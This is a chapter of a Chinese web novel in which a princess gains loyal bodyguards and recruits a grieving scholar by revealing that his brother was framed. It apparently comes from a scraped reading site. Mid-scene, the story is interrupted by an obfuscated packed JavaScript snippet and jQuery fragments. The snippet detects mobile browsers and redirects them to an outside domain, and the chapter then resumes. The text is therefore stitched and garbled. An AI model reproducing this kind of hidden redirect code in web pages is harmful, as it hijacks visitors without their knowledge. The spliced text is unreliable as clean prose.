5. 真相 “参见公主!”

作品:《和亲后继子看上我了

    “参见公主!”


    院子里,四个壮汉穿着破破烂烂,头发凌乱,形如乞丐,谢长青看着他们不由得一阵头疼。


    “你们这是从哪儿来的。”琥珀脸上浮现出嫌弃的神色,“怎么能搞成这样。”


    为首的壮汉尴尬地摸了摸鼻子,讪笑道:“我们从西藩来,小王子说了来时不要引人注意,所以我们便扮成了乞丐,混在乞丐堆里这才进入了京城。


    “本来……”那壮汉不知为何表现得有些丢人,“本来是早该到了的,但是路上发生了一点小状况,所以才晚了些。”


    “就是就是,如果不是小王子说了路上不能与人起冲突,导致马和盘缠都被人抢了,我们才不用扮作乞丐一路走过来。”


    卫守在后方补的话忍不住逗笑了琥珀,“”那么多将马和钱弄回来的法子,怎么就偏要那么老实地扮作乞丐走过来。”


    琥珀捏着鼻子绕着他转了一圈,“你们来干什么?”


    “小王子特意交代了京城危险重重,要我们务必保护好公主的安危。”四个壮汉单膝跪地,“以后我们四兄弟便唯公主马首是瞻!”


    谢长青突然想起来赫连珩走前说的惊喜,原是这个,担心她无人可用才送过来的吗,真是难为他还要在一众西藩面貌里找出这几个南周面貌然后调教好送过来。


    “好了琥珀,你先带他们去收拾一下吧,务必要好好关照。”关照两个字谢长青加重了语气,琥珀会意,快走几步领他们下去了。


    “原来您就是琥珀姐姐。”刚才出声的卫守跨大步子,跟上琥珀。


    琥珀斜眼看了看他,“怎么,你之前知道我。”


    那壮汉有些不好意思,“之前小王子说过来几次,不想今日一见,琥珀姐姐如此漂亮。”


    “轻浮。”琥珀啐了他一口,加快脚步,不再搭理他。


    被啐了一口的卫守显得极为难过,另一个壮汉走上来拍拍他的肩膀,“早说了现在公主她们不信任我们,老三你这样拉近乎肯定不行,就是不听。”


    卫守挥开他的手,“去去去,谁要你来说,俺自己有分寸。”


    “行了,卫护你别逗她了。”为首的壮汉显然是他们的老大,他一开口,二人就都不闹了,只有眼神还在相互较劲。


    “好了,已经到了,这浴池里的水应该够你们洗干净了,一会儿会有人进来伺候你们洗澡。”


    琥珀将人带到,捂着嘴下去了。


    卫守听见琥珀的话,不禁有些想入非非,幻想着有几个温香软玉的美娇娘来伺候。


    卫护鄙视地看了他一眼。


    等他们下水,四个体形魁梧的大汉打开门走了进来,手拿陶??,齐刷刷道:“我们奉命来为各位爷搓澡。”


    看着这四个大汉,卫守忍不住咽了咽口水,看向一旁的卫泰,“大哥,我记得我们应该没有做什么伤天害理的事吧。”


    这架势连一向稳重的卫泰都有些发怵,“放心吧,小王子说了,长公主善解人意,温柔无比,肯定只是洗个澡而已。”


    “能…能不搓吗?”卫守还在做最后的挣扎。


    其中一个大汉摇头道:“各位爷长途跋涉,必然辛苦不已,搓个澡有助于身体恢复,还请各位爷多多担待了。”


    不多时,房内传来卫守他们的喊叫声,“轻点轻点!破皮了破皮了!痛啊!”


    听到他们此起彼伏的痛呼声,一直在门外守着的琥珀满意离去。


    被放开的信鸽一飞而起,迅速离去,再没了踪影,站在廊下看着的谢长青心里涌起一股莫名的情绪,又很快被她压了下去。


    外祖父的回信很快到来,信中详细阐述了卫泰他们的身份。


    卫泰,卫康,卫守,卫护原是孤儿,老狼王在出巡途中见他们都是练武的好苗子便收养了他们,从此他们便跟着赫连珩一起长大,是赫连珩的心腹。


    来南周这一路上也没闹什么幺蛾子,赫连珩将他们四个指给谢长青,仿佛真的只是为了保护她。


    谢长青认真看过信,将其放在火炉里烧掉,信纸被火苗一点点吞噬,最后化为灰烬。


    天色昏暗,看不出她脸上的神色。


    远在西藩的赫连珩趴在泥浆中,手里还紧紧握住他从谢长青那里顺来的香囊,香囊的香味已经接近于无了,赫连珩仍将它时时带在身边。


    西藩向来少雨,这雨来得非常不巧,乌戈趁着这雨打了赫连珩一个措手不及,若不是赫连珩及时带着大军改道从山间遁走,怕是已经全军覆没了。


    ………………………………………………


    时间进入腊月,碧玉归来,还带回来一个好消息:肖玉渊邀她们一叙。


    谢长青与肖玉渊对坐,窗外是厚厚的积雪。


    “肖某感谢公主救命之恩,老夫真是无以为报。”肖玉渊率先打破沉默。


    肖玉渊是一位年过半百的老人,气质儒雅,能看得出年轻时俊朗的模样。


    “哪里哪里,长青久仰先生大名,数次拜访,不想今日才得以与先生对坐长谈。”


    肖玉渊摆摆手,“公主谬赞了,老朽一介布衣,哪里值得公主折腰,还望公主不要追究老朽过往的冒犯之处才是。”


    “怎么会呢,能与先生长谈是长青的福分才是。”


    谢长青说完这话,二人再次陷入沉默,一时之间寂然无声,只有雪花还在飘落。


    肖玉渊看着窗外的积雪,拿起茶杯浅抿一口,很久之后才开口道:“今日雪景甚美,古话说瑞雪兆丰年,看样子明年又是一个好年。”


    “我以为先生会讨厌冬天才对。”谢长青浅笑,也跟着轻抿一口茶。


    毕竟肖玉渊的哥哥杜衡,也就是杜婉瑜的父亲便是在冬日被抄家的。


    “怎么会。”肖玉渊眼含深意看她一眼,“天地不仁,以万物为刍狗。况且人死如灯灭,又何必执着个人情感,不如放宽心接纳。”


    “诚然如此,但人总有权选择怎样过活。”谢长青轻轻放下杯子,“我倒是认为与其顺从然后毁灭,不如博上一搏。”


    “阻力太大,公主又何必白费心思。”


    “鹿死谁手犹未可知,不试一下先生又何知长青不行呢?”


    “实不相瞒,长青今日来便是想请先生助我一臂之力,让我打破这樊笼,为众生谋求一个自由之所。”


    谢长青站起身,从袖里摸出一枚令牌。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193803|181152||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    肖玉渊摇了摇头,没接那枚令牌,“我已经老啦,说不定哪天就会死去,也不愿再掺和进这些是非之中,公主还是另请他人吧。”


    “原是这样吗?”谢长青收回手,又从袖口拿出一封信,“就算先生不愿助我,难道先生也不愿知道当年杜太常抄家一案的真相吗?”


    肖玉渊喝茶的手一顿,没作声。他虽认为哥哥做不出那样的事,但审案的廷尉是出了名的铁面无私,因此也只能当哥哥鬼迷心窍,一时行差踏错而已。


    “这信上虽未写全,但也大概写了太常一案的真相。”谢长青慢条斯理地撕开封口,拿出那一张薄薄的纸,“我听说杜太常生前常与先生来往,关系密切,莫非都是假的,一切都是外人杜撰?”


    谢长青展开那张纸粗略看了一下便将它移到熏炉之上,肖玉渊仍是一副风轻云淡的模样。


    谢长青继续说道:“可怜杜太常正直一生却蒙冤入狱,无人申冤,唯一的女儿还错嫁仇人,饱受折磨,真是可悲可叹。”


    “慢着,你说什么?”肖玉渊终于变了脸色,“你说哥哥他……”


    意识到自己说了什么,他深呼吸连忙改口,“杜太常他是蒙冤入狱,此事当真?”


    “这是自然,外祖也是费了一番功夫才查出来。”谢长青将信纸从熏炉上移开,递到肖玉渊面前,“先生不妨自己看看。”


    “建宁元年,杜衡借陛下登基大典挪用公款,陛下震怒,获罪抄家。然挪用者另有其人,陈子羽与其沆瀣一气,伪造证据,借势高升。”


    薄薄一张纸,短短几句话,却仿佛压垮了这个年过半百的老人。


    肖玉渊踉跄着后退几步扶住窗户,“这信上所说可是真的?”


    “我又何必欺骗先生,不然先生以为陈子羽既无背景又无钱财是如何在短短几年内便一路高升至太常呢。”


    “是了是了,是我糊涂了,原以为他是个好的才放心将婉瑜嫁给他,不承想…不承想……”肖玉渊掩面失声痛哭。


    谢长青识趣地退了出去,又示意让碧玉进去,碧玉虽然有些不解,但还是照做了。


    谢长青带着琥珀一前一后走在路上,注意到琥珀魂不守舍的模样,她主动开口问道:“怎么了?”


    琥珀踢了踢路边的积雪,有些担心碧玉,“公主,这样真的没事吗?”


    “有些事迟早是要知道的,若一直被蒙在鼓里对她来说反而是一种残忍,况且此事要不要告诉碧玉全凭先生一人决断。”


    谢长青转过身认真地看着琥珀,“你要相信碧玉,她远比我们想象的强大,先生肯定也比我们更了解碧玉。”


    “这事就由他们二人自行决断吧。”


    三日后的晚上,京城郊外的老旧小院燃起大火,等众人发现时屋子连同人早已烧得焦黑。


    行宫里,碧玉眼睛红肿,面色憔悴,显然是遭受了重大打击,肖玉渊同样面色憔悴,不过几天而已,他却像苍老了十岁。


    他们二人一同跪在下首,“臣愿为公主效犬马之劳!”


    谢长青坐在上首,对这个结果非常满意。


    从此世间少了玉山肖先生,西郊行宫里多了一个不知名的幕僚。